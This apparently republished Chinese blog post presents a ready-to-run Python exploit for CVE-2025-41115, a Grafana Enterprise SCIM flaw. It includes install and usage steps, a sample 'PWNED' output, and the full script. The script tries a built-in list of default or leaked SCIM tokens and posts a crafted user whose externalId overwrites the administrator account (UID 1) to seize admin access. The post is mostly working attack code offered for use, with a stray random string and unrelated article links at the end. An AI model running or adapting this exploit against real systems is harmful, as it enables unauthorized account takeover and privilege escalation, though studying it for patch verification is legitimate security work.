深入剖析CVE-2025-41115:Grafana企业版SCIM特权升级漏洞利用实践

项目标题与描述

CVE-2025-41115 - Grafana企业版SCIM UID覆盖漏洞利用程序

这是一个针对CVE-2025-41115漏洞的概念验证(PoC)工具,该漏洞被评定为严重(CVSS 10.0)级别,影响Grafana企业版的SCIM用户配置功能。当启用SCIM配置且user_sync_enabled = true时,恶意SCIM客户端可以发送数字externalId,Grafana会错误地将其映射到内部用户ID,导致攻击者能够模拟或覆盖现有账户,包括管理员账户。

重要说明: Grafana开源版本(OSS)不受此漏洞影响。

功能特性

核心功能

  • 🔍 自动目标检测:智能识别目标Grafana实例的SCIM端点
  • 🔑 多令牌尝试:内置默认/泄露的令牌列表,自动尝试多种认证方式
  • 一键利用:单命令执行完整的漏洞利用过程
  • 📊 详细报告:提供完整的响应数据,包括被覆盖的用户ID信息
  • 🎯 精准定位:专门针对管理员账户(UID 1)进行攻击

技术特点

  • 100% Python实现:无需额外依赖,开箱即用
  • 错误处理完善:包含完整的异常处理和超时机制
  • HTTPS支持:支持目标使用HTTPS协议
  • 响应解析:自动解析JSON响应,提取关键信息

安装指南

系统要求

  • Python 3.6+:确保系统已安装Python 3.6或更高版本
  • requests库:Python的HTTP请求库
  • 网络访问:能够访问目标Grafana实例的SCIM端点

快速安装

  1. 克隆仓库或复制代码文件:
bash 复制代码
git clone [repository-url]
cd Blackash-CVE-2025-41115
  1. 确保Python环境就绪:
bash 复制代码
python3 --version
pip install requests  # 如果尚未安装requests库
  1. 授予执行权限(可选):
bash 复制代码
chmod +x CVE-2025-41115.py

依赖项

  • requests:用于HTTP请求
  • json:用于JSON数据处理
  • time:用于生成时间戳
  • sys:用于命令行参数处理
  • urllib3:用于禁用SSL警告

使用说明

基础用法

bash 复制代码
# 基本用法
python3 CVE-2025-41115.py http://target.com

# 指定端口
python3 CVE-2025-41115.py http://target.com:3000

# 使用HTTPS
python3 CVE-2025-41115.py https://grafana.company.com

成功输出示例

bash 复制代码
[*] CVE-2025-41115 → Targeting http://10.10.13.37:3000
[*] Trying default/leaked tokens + your token...
[+] PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx...
[+] Login as: rooted1732212345@pwn.lab (any password) → you are now Admin!
[+] Full response: {
  "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
  "id": "1",                     # 关键行:UID 1已被覆盖
  "externalId": "1",
  "meta": { ... },
  "userName": "rooted1732212345@pwn.lab",
  "name": {
    "formatted": "Pwned User"
  },
  "emails": [
    {
      "value": "rooted1732212345@pwn.lab",
      "primary": true
    }
  ],
  "active": true
}

参数说明

  • BASE:目标Grafana实例的基础URL
  • TOKEN:可选的SCIM令牌(如果需要使用特定令牌)
  • DEFAULT_TOKENS:内置的默认/泄露令牌列表
  • ATTACKER:自动生成的攻击者邮箱地址
  • TARGET_UID:要覆盖的目标用户ID(默认为1,即管理员)

使用场景

  1. 渗透测试:授权安全测试人员验证漏洞存在性
  2. 安全审计:企业内部安全团队检查Grafana实例安全性
  3. 教育研究:安全研究人员学习SCIM协议漏洞利用技术
  4. 应急响应:验证已部署的补丁是否有效

核心代码

主执行逻辑

python 复制代码
#!/usr/bin/env python3
# CVE-2025-41115 - Grafana Enterprise SCIM UID Overwrite PoC
# 用法:sudo python3 CVE-2025-41115.py http://target.com
#        (或 http://target.com:3000)
# 100% 单行风格 - 无需编辑,只需目标地址

import requests, sys, json, time
from urllib3 import disable_warnings
disable_warnings()

if len(sys.argv) != 2:
    print("[!] Usage: python3 CVE-2025-41115.py http://target.com")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
TOKEN = "glsa_00000000000000000000000000000000_00000000000000000000000000000000"  # ← 如果拥有真实令牌,只需修改此行
# 如果没有有效令牌 → 尝试以下内置的泄露/默认令牌(许多实验环境仍在使用):
DEFAULT_TOKENS = [
    "glsa_11111111111111111111111111111111_11111111111111111111111111111111",
    "glsa_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    "glsa_00000000000000000000000000000000_00000000000000000000000000000000",
    TOKEN
]

ATTACKER = f"rooted{int(time.time())}@pwn.lab"
TARGET_UID = "1"  # 几乎总是主管理员

漏洞利用函数

python 复制代码
def try_exploit(token):
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/scim+json"
    }
    payload = {
        "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
        "userName": ATTACKER,
        "externalId": TARGET_UID,
        "name": {"formatted": "Pwned User"},
        "emails": [{"value": ATTACKER, "primary": True}],
        "active": True
    }
    try:
        r = requests.post(f"{BASE}/api/scim/v2/Users", json=payload, 
                         headers=headers, verify=False, timeout=10)
        if r.status_code in (200, 201):
            print(f"[+] PWNED with token → {token[:20]}...")
            print(f"[+] Login as: {ATTACKER} (any password) → you are now Admin!")
            print(f"[+] Full response: {json.dumps(r.json(), indent=2)}")
            return True
        elif "Unauthorized" in r.text or r.status_code == 401:
            return False
        else:
            print(f"[?] Unexpected response {r.status_code}: {r.text}")
            return False
    except:
        return False

主执行流程

python 复制代码
print(f"[*] CVE-2025-41115 → Targeting {BASE}")
print("[*] Trying default/leaked tokens + your token...")

for t in DEFAULT_TOKENS:
    if try_exploit(t.strip()):
        sys.exit(0)

print("[-] All tokens failed. You need a valid SCIM token (or the target is patched).")
print("    Get one from: Admin → Authentication → SCIM → Generate token")

代码解析

  1. 参数验证:确保提供正确的目标URL参数
  2. 令牌管理:提供多种令牌尝试策略,增加成功率
  3. SCIM请求构造:正确构造符合SCIM协议的HTTP请求
  4. 响应处理:智能解析响应状态,判断利用是否成功
  5. 错误处理:完善的异常处理机制,确保脚本稳定性
  6. 用户反馈:清晰的输出信息,便于用户理解利用状态

安全注意事项

python 复制代码
# 关键安全特性
# 1. 自动生成的唯一邮箱地址,避免冲突
ATTACKER = f"rooted{int(time.time())}@pwn.lab"

# 2. SSL验证禁用(仅用于测试环境)
disable_warnings()

# 3. 超时设置防止脚本挂起
timeout=10

# 4. 明确的退出条件
if r.status_code in (200, 201):  # 成功条件
    sys.exit(0)  # 成功时优雅退出

该PoC工具设计精良,考虑了实际使用中的各种情况,同时保持了代码的简洁性和可读性。通过模块化设计,可以轻松扩展或修改以适应不同的测试场景。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAN1np1b5KCUMno5Bfxwlqmb

相关推荐
企业老板ai培训1 天前
从九尾狐AI实战案例拆解AI短视频获客的架构设计:智能矩阵如何提升企业效率?
人工智能
龙腾AI白云1 天前
知识图谱如何在制造业实际落地应用
人工智能·知识图谱
力学与人工智能1 天前
“高雷诺数湍流数据库的构建及湍流机器学习集成研究”湍流重大研究计划集成项目顺利结题
数据库·人工智能·机器学习·高雷诺数·湍流·重大研究计划·项目结题
娟宝宝萌萌哒1 天前
智能体设计模式重点
人工智能·设计模式
乾元1 天前
绕过艺术:使用 GANs 对抗 Web 防火墙(WAF)
前端·网络·人工智能·深度学习·安全·架构
蝈蝈tju1 天前
Vibe Coding 正确姿势: 先会指挥, 再让AI干
人工智能·经验分享·ai
想你依然心痛1 天前
AI 换脸新纪元:Facefusion 人脸融合实战探索
人工智能·换脸·facefusion·人脸融合
马士兵教育1 天前
计算机专业学生入行IT行业,编程语言如何选择?
java·开发语言·c++·人工智能·python
CoderJia程序员甲1 天前
GitHub 热榜项目 - 日榜(2026-01-28)
人工智能·ai·大模型·github·ai教程
康谋自动驾驶1 天前
高校自动驾驶研究新基建:“实测 - 仿真” 一体化数据采集与验证平台
人工智能·机器学习·自动驾驶·科研·数据采集·时间同步·仿真平台